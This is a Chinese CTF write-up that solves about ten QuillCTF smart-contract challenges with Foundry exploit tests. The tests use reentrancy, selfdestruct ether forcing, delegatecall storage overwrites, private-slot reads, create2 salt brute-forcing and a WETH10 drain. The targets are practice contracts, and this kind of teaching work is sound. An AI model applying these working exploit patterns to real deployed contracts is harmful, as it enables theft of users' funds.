環境
- 我這里使用了foundry。
- 創建項目:
forge init xxx - 將合約和測試放好之后直接使用
anvil然后部署合約:
forge create --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 src/factory.sol:factory [?] Compiling... No files changed, compilation skipped Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 Deployed to: 0x5FbDB2315678afecb367f032d93F642f64180aa3 Transaction hash: 0xf10a15ea5f681020297c2184ff10b14854285dd2b2162bebe191f7bdc8fab8c
foundry作弊碼:
- deal : 鑄造任意數量代幣給某個用戶
- prank : 切換用戶
題目環境已打包:下載鏈接
https://cowtransfer.com/s/9ab12784293b4f 點擊鏈接查看 [ QuillCTF.zip ] , 或訪問奶牛快傳 cowtransfer.com 輸入傳輸口令 grgohn 查看;
RoadClosed
- 部署合約
forge create --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 src/RoadClosed.sol:RoadClosed
- 編寫測試解題
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/RoadClosed.sol";
contract testRoad is
Test,
RoadClosed
{
RoadClosed _contract;
address user1 = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
function setUp() public {
vm.prank(owner);
_contract = new RoadClosed();
}
function testRoadClosed() public {
vm.startPrank(user1);
_contract.addToWhitelist(user1);
_contract.changeOwner(user1);
_contract.pwn(user1);
bool isHack= _contract.isHacked();
bool own = _contract.isOwner();
vm.stopPrank();
assert(own==true);
assert(isHack==true);
}
}
Confidential Hash
- 雖然變量設置了private,但是依然可以讀出。
- 編寫test來測試
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Confidential.sol";
contract testCon is
Test,
Confidential
{
Confidential _contract;
function setUp() public {
_contract = new Confidential();
}
function testConfidential() public {
bytes32 aliceHash = vm.load(address(_contract),bytes32(uint256(4)));
bytes32 bobHash = vm.load(address(_contract),bytes32(uint256(9)));
bytes32 hash_value = _contract.hash(aliceHash,bobHash);
bool isOK = _contract.checkthehash(hash_value);
assert(isOK==true);
}
}
VIP Bank
- 合約中有一個require,如果合約的
maxETH小于合約的balance,就過不去require了,相當于所有人都無法進行withdraw,因為只有VIP才可以進行deposit,我這里強制給他錢,使用selfdestruct - 編寫test來測試
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/VIP_Bank.sol";
contract Attack{
address public vb;
constructor(address _target){
vb = _target;
}
receive() external payable{}
function destroy() public{
selfdestruct(payable(vb));
}
}
contract VIPBankTest is Test {
VIP_Bank public _contract;
address public admin;
address public attacker;
address public alice;
function setUp() public {
admin = vm.addr(1);
attacker = vm.addr(2);
alice = vm.addr(3);
vm.deal(alice, 1 ether);
vm.deal(attacker, 1 ether);
vm.startPrank(admin);
_contract = new VIP_Bank();
_contract.addVIP(alice);
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(alice);
_contract.deposit{value: 0.05 ether}();
vm.stopPrank();
vm.startPrank(attacker);
assertEq(0.05 ether, _contract.contractBalance());
Attack attack = new Attack(address(_contract));
payable(attack).transfer(1 ether);
attack.destroy();
vm.stopPrank();
assertEq(_contract.contractBalance(), 1.05 ether);
vm.startPrank(alice);
vm.expectRevert();
_contract.withdraw(0.05 ether);
}
}
safeNFT
- 合約的
claim函數存在重入漏洞,調用_safeMint的時候,我們自己合約的onERC721Received函數可以再次去調用claim函數從而再次鑄造nft - 測試代碼如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/safeNFT.sol";
import "openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
contract AttackERC721 is IERC721Receiver{
safeNFT public sna;
bool public complete;
address internal owner;
constructor(address _safeNft){
sna = safeNFT(_safeNft);
owner = msg.sender;
}
function attack() public payable{
sna.buyNFT{value: msg.value}();
sna.claim();
uint256 balance = sna.balanceOf(address(this));
for (uint256 i=0; i < balance; i++){
sna.transferFrom(address(this), owner, i);
}
}
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4){
if (!complete) {
complete = true;
sna.claim(); // claiming the
}
return this.onERC721Received.selector;
}
}
contract VIPBankTest is Test {
address public attacker;
safeNFT public _contract;
function setUp() public {
attacker = vm.addr(1);
vm.deal(attacker,1 ether);
_contract = new safeNFT("QuillNFT", "QUL", 0.01 ether);
}
function testExploit() public {
uint256 attackerBalance;
attackerBalance = _contract.balanceOf(attacker);
assertEq(attackerBalance, 0);
vm.startPrank(attacker);
AttackERC721 attackContract = new AttackERC721(address(_contract));
attackContract.attack{value: 0.01 ether}();
vm.stopPrank();
attackerBalance = _contract.balanceOf(attacker);
assertEq(attackerBalance, 2);
}
}
D31eg4t3
- 合約考點很明顯,
delegatecall重寫變量,
function hackMe(bytes calldata bites) public returns(bool, bytes memory) {
(bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
return (r, msge);
}
- 測試代碼:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/D31eg4t3.sol";
contract Attack{
uint a = 12345;
uint8 b = 32;
string private d;
uint32 private c;
string private mot;
address public owner;
mapping (address => bool) public canYouHackMe;
function attack(address delegateAddress, address attackerAddress) public{
D31eg4t3 delegateContract = D31eg4t3(delegateAddress);
delegateContract.hackMe(abi.encodeWithSignature("pwn(address)", attackerAddress));
}
function pwn(address attackerAddress) public {
owner = attackerAddress;
canYouHackMe[attackerAddress] = true;
}
}
contract testCon is Test {
D31eg4t3 _contract;
address owner;
address attacker;
function setUp() public {
owner = vm.addr(1);
attacker = vm.addr(2);
vm.startPrank(owner);
_contract = new D31eg4t3();
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(attacker);
Attack att = new Attack();
att.attack(address(_contract), attacker);
vm.stopPrank();
assertEq(_contract.owner(), attacker);
assert(_contract.canYouHackMe(attacker) == true);
}
}
CollatzPuzzle
題目:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICollatz {
function collatzIteration(uint256 n) external pure returns (uint256);
}
contract CollatzPuzzle is ICollatz {
function collatzIteration(uint256 n) public pure override returns (uint256) {
if (n % 2 == 0) {
return n / 2;
} else {
return 3 * n + 1;
}
}
function callMe(address addr) external view returns (bool) {
// check code size
uint256 size;
assembly {
size := extcodesize(addr)
}
require(size > 0 && size <= 32, "bad code size!");
// check results to be matching
uint p;
uint q;
for (uint256 n = 1; n < 200; n++) {
// local result
p = n;
for (uint256 i = 0; i < 5; i++) {
p = collatzIteration(p);
}
// your result
q = n;
for (uint256 i = 0; i < 5; i++) {
q = ICollatz(addr).collatzIteration{gas: 100}(q);
}
require(p == q, "result mismatch!");
}
return true;
}
}
題目需要我們使用EVM字節碼完成一個32字節以內的 collatzIteration 函數,邏輯為:輸入數字為奇數就3*n+1,如果為偶數直接除2返回。
獲取輸入: PUSH1 04 CALLDATALOAD 我們輸入0x000000000000000000000000000000000000000000000000000000000000000000000002 可以看到獲取到了2 接下來判斷是否可以被2整除 DUP2 MOD ISZERO 這里結果為1,證明我們可以被整除,但是我們的輸入缺丟了。所以我們需要改進一下保存我們的輸入 PUSH1 02 PUSH1 04 CALLDATALOAD DUP2 DUP2 MOD ISZERO 我們已經保存了輸入,下面來到我們的判斷,如果是奇數我們直接*3+1 PUSH1 03 MUL PUSH1 01 ADD 如果是偶數就除2 DIV 最后返回 PUSH1 00 MSTORE PUSH1 20 PUSH1 00 RETURN
我們在里面加上跳轉之后就組成了
PUSH1 02 PUSH1 04 CALLDATALOAD DUP2 DUP2 MOD ISZERO PUSH1 21 JUMPI PUSH1 03 MUL PUSH1 01 ADD PUSH1 23 JUMP JUMPDEST DIV JUMPDEST PUSH1 00 MSTORE PUSH1 32 PUSH1 00 RETURN
以上指令的bytecode為:6002600435818106156015576003026001016017565b045b60005260206000f3
我們還需要一段字節碼將我們上面的運行時代碼部署到鏈上
PUSH32 6002600435818106156015576003026001016017565b045b60005260206000f3 PUSH1 00 MSTORE PUSH1 20 PUSH1 00 RETURN
也就是 0x7f6002600435818106156015576003026001016017565b045b60005260206000f360005260206000f3
由此,我們的測試腳本就可以編寫了:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Collatz_Puzzle.sol";
contract Attack{
function deploy() public returns (address){
bytes memory con = hex"7f6002600435818106156015576003026001016017565b045b60005260206000f360005260206000f3";
address addr;
assembly{
addr := create(0,add(con,0x20),0x29)
}
return addr;
}
}
contract testCollatz is Test {
CollatzPuzzle public cz;
address attacker;
function setUp() public {
attacker = vm.addr(1);
cz = new CollatzPuzzle();
}
function testExploit() public {
vm.startPrank(attacker);
Attack att = new Attack();
address taddr = att.deploy();
bool ans = cz.callMe(taddr);
vm.stopPrank();
assert(ans == true);
}
}

True XOR
題目要求同一個函數 一次返回為真,一次返回為假
bool p = IBoolGiver(target).giveBool(); bool q = IBoolGiver(target).giveBool();
函數聲明為:function giveBool() external view returns (bool);
也就是我們不能夠引入變量進去修改了,那么在代碼運行時只有gas是變化的,我們通過左移255后然后右移255獲得不同的bool。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/True_XOR.sol";
contract Attack{
bool FirstCall;
function giveBool() external view returns (bool){
bool res;
assembly {
res := shr(255, shl(255, gas()))
}
return res;
}
}
contract testCon is Test {
TrueXOR _contract;
address attacker;
function setUp() public {
attacker = vm.addr(1);
_contract = new TrueXOR();
}
function testExploit() public {
vm.startPrank(attacker, attacker);
Attack att = new Attack();
bool ok = _contract.callMe(address(att));
assert(ok == true);
}
}

Pelusa
要求將合約中的 goals 變量改為2.
我們分析這個合約,也就是需要在 shoot 函數中成功調用 delegatecall 來完成修改,但是成功調用的前提是 isGoal 函數的require檢查,如果需要滿足就需要 getBallPossesion 函數返回owner,這里我們也可以通過修改player的地址來完成,但是如何成為player?我們可以通過 create2 來完成創建使其可以滿足調用 passTheBall
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");
我們如何讓自己的地址滿足這個要求呢?我們下面就來實現一下:
我們寫一個部署合約,用來預測create2地址并且運算,滿足了我們再來使用
create2 原理:新地址 = hash("0xFF",創建者地址, salt, bytecode)
那么我們就需要 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash)); 這樣來獲取地址,initHash是:bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target))); 獲取自己的bytecode。
我們下面只需要一直while循環將自己的hash % 100 == 10即可。
contract DeployerContract {
Attack public attackContract;
constructor(address _target) {
bytes32 salt = calculateSalt(_target);
attackContract = new Attack{ salt: bytes32(salt) }(_target);
}
function calculateSalt(address target) private view returns (bytes32) {
uint256 salt = 0;
bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target)));
while (true) {
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));
if (uint160(uint256(hash)) % 100 == 10) {
break;
}
salt += 1;
}
return bytes32(salt);
}
}
現在我們已經可以滿足 passTheBall 函數的要求了,那么我們就可以將自己的攻擊合約設置為player從而進行 isGoal 的調用,這里我們是可以直接讀取這個合約的owner的。因為這個owner是不可變變量,我們找到他并不是從插槽直接搜,而是根據他的特征,
const Web3 = require('web3')
const web3 = new Web3('http://localhost:8545')
var index = 1;
const contract_address = web3.utils.toChecksumAddress('0x5fbdb2315678afecb367f032d93f642f64180aa3')
web3.eth.getCode(contract_address).then((resp) => {
index = resp.indexOf('7f000000000000000000000000');
const pushLine = resp.slice(index, index + 66);
const ownerAddress = '0x' + pushLine.slice(26);
console.log(ownerAddress)
});
remix本地部署測試。

Untitled

Untitled

Untitled
但是這里部署者是我自己,我這里就可以直接返回owner。至此,我們就可以成功調用 shoot 來完成 delegatecall 從而修改變量。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Pelusa.sol";
contract DeployerContract {
Attack public attackContract;
constructor(address _target) {
bytes32 salt = calculateSalt(_target); // calculate the salt
attackContract = new Attack{ salt: bytes32(salt) }(_target); // pass the salt to deploy the attack contract
}
function calculateSalt(address target) private view returns (bytes32) {
uint256 salt = 0;
bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target)));
while (true) {
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));
// checking generated hash gives 10 as reminder while dividing by 100
if (uint160(uint256(hash)) % 100 == 10) {
break; // if true then break the loop
}
salt += 1;
}
return bytes32(salt); // return the salt which satisfied the condition we needed
}
}
contract Attack is IGame {
address private owner; // owner of the contract
uint256 public goals; // number of goals
Pelusa public pelusaContract;
constructor(address _pAddress) {
pelusaContract = Pelusa(_pAddress);
pelusaContract.passTheBall(); // calling the passTheBall function because size of address code during contract creation is 0
}
function handOfGod() external returns (uint256) {
goals = 2; // setting the goals to 2 which is the goal of this challenge
return 22_06_1986; // returning the required uint variable. Underscores are neglected.
}
// function to return the owner calulated in pwn function
function getBallPossesion() external view returns (address) {
return owner;
}
function pwn(address _deployer) external {
// owner is dervied from the deployer and block number
owner = address(uint160(uint256(keccak256(abi.encodePacked(_deployer, bytes32(uint256(0)))))));
pelusaContract.shoot();
}
}
contract PelusaTest is Test {
Pelusa public pelusa;
address public attacker;
address public deployer;
address public futureAddress;
function setUp() public {
attacker = vm.addr(2); // attacker
deployer = vm.addr(1); //deployer
vm.prank(deployer);
pelusa = new Pelusa(); // declare the Pelusa contract
}
function testExploit() public {
vm.startPrank(attacker, attacker);
DeployerContract dc = new DeployerContract(address(pelusa)); // create an address to satisfy the condition
Attack attack = Attack(dc.attackContract()); // using the address created to initialise the Attack contract
attack.pwn(deployer); // calling the pwn() function
vm.stopPrank();
assert(pelusa.goals() == 2); // verifying whether the goals = 2
}
}

Untitled
WETH10
原始代碼引用lib庫方式與我本地foundry有所差異,已經修改
根據要求,我目前是bob,又一個eth,需要提取合約中剩余的10個eth即可。合約中已經使用了 nonReentrant 庫來對函數進行了重入保護,使得我們無法利用重入漏洞來完成攻擊。
一開始盯著 execute 函數看了半天,因為這是個閃電貸函數,后來感覺也沒啥問題,隨機去看了其他被重入保護的函數。我們注意 withdrawAll 函數,他在調用轉賬之后會燃燒掉剩余的代幣,核心在于剩余, _burn(msg.sender, balanceOf(msg.sender)); 。如果我們轉賬之后燃燒之前轉移了我的代幣,他不就沒辦法燃燒,一會我再取回就可以了。
- bob轉賬給攻擊合約一個WETH。
- 攻擊合約調用
withdrawAll獲取這一個幣,然后使用receive函數獲取的幣轉給我們這時候我的攻擊合約是沒有錢了,所以無法burn,但是approve給攻擊合約的代幣還在。我們就可以提取走這一個代幣 - 反復十次我就獲得了所有代幣。
測試代碼如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/WETH10.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract Attack{
WETH10 public target;
address public owner;
constructor(address payable _target){
target = WETH10(_target);
owner = msg.sender;
}
function callWithdrawAll() external payable{
target.withdrawAll();
}
receive() external payable{
target.approve(address(this),target.balanceOf(address(this)));
target.transferFrom(address(this),owner,target.balanceOf(address(this)));
}
function hack() external payable{
owner.call{value: address(this).balance}("");
}
}
contract Weth10Test is Test {
WETH10 public weth;
address owner;
address bob;
function setUp() public {
weth = new WETH10();
bob = makeAddr("bob");
vm.deal(address(weth), 10 ether);
vm.deal(address(bob), 1 ether);
}
function testHack() public {
assertEq(address(weth).balance, 10 ether, "weth contract should have 10 ether");
vm.startPrank(bob);
Attack att = new Attack(payable(weth));
weth.approve(address(bob),11 ether);
for (uint256 i = 0;i<10;i++){
weth.deposit{value: 1 ether}();
weth.transferFrom(address(bob),address(att),1 ether);
att.callWithdrawAll();
att.hack();
}
weth.withdrawAll();
vm.stopPrank();
assertEq(address(weth).balance, 0, "empty weth contract");
assertEq(bob.balance, 11 ether, "player should end with 11 ether");
}
}
Gate
合約代碼:
pragma solidity ^0.8.17;
interface IGuardian {
function f00000000_bvvvdlt() external view returns (address);
function f00000001_grffjzz() external view returns (address);
}
contract Gate {
bool public opened;
function open(address guardian) external {
uint256 codeSize;
assembly {
codeSize := extcodesize(guardian)
}
require(codeSize < 33, "bad code size");
require(
IGuardian(guardian).f00000000_bvvvdlt() == address(this),
"invalid pass"
);
require(
IGuardian(guardian).f00000001_grffjzz() == tx.origin,
"invalid pass"
);
(bool success, ) = guardian.call(abi.encodeWithSignature("fail()"));
require(!success);
opened = true;
}
}
要求我們成功調用 open 函數并且opened為true。
這里用到了我們函數簽名的用法


這兩個函數簽名,一個為0一個為1.
最后的fail函數為 0xa9cc4718 也就是2848737048
這樣我們大概的YUL代碼就有思路了,如果調用過來的function signature為0,就返回caller,如果為1就返回origin,如果為2848737048就直接返回即可。但是這樣思路不對,我們并不知道調用過來的函數簽名是什么。
真正的簽名計算是這樣的:
>>> 0x100000000000000000000000000000000000000000000000000000000*0x00000000 0 >>> 0x100000000000000000000000000000000000000000000000000000000*0x00000001 26959946667150639794667015087019630673637144422540572481103610249216 >>> 0x100000000000000000000000000000000000000000000000000000000*0xa9cc4718 76801798882816152179971038701967765803267330225417895110049134443494132154368
這里我們可以通過右移來做這樣一個算法:
calldataload(0) 獲取函數簽名 iszero(shr(calldataload(0))) -> 如果為0就要么是f00000000_bvvvdlt 要么是f00000001_grffjzz 出現這樣的情況可以判斷calldataload(0)是否為0,如果是0就是f00000000_bvvvdlt 如果不是就是fail
大概的YUL就是:
let x := calldataload(0)
let y := 0x20
mstore(y, origin())
if iszero(shr(225, x))
{
if iszero(x) { mstore(y, caller()) }
return(y, y)
}
revert(y, y)
編譯后字節碼是:601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd
測試代碼為:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "src/Gate.sol";
contract Attack {
function deploy(bytes memory given_code) external returns(address ){
bytes memory code = given_code;
address addr;
assembly{
addr := create(0, add(code, 0x20), mload(code))
}
return addr;
}
}
contract GateTest is Test {
Gate public gate;
address public attacker;
function setUp() public {
attacker = vm.addr(1);
gate = new Gate();
}
function testExploit() public {
vm.startPrank(attacker, attacker);
Attack a = new Attack();
bytes memory con = hex"601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd";
address input = a.deploy(con);
gate.open(input);
vm.stopPrank();
assert(gate.opened() == true);
}
}






中國網絡空間安全協會
FreeBuf
GoUpSec
中國信息安全
奇安信集團
D1Net
CNCERT國家工程研究中心
D1Net
安全內參
安全圈
信息安全與通信保密雜志社
信息安全與通信保密雜志社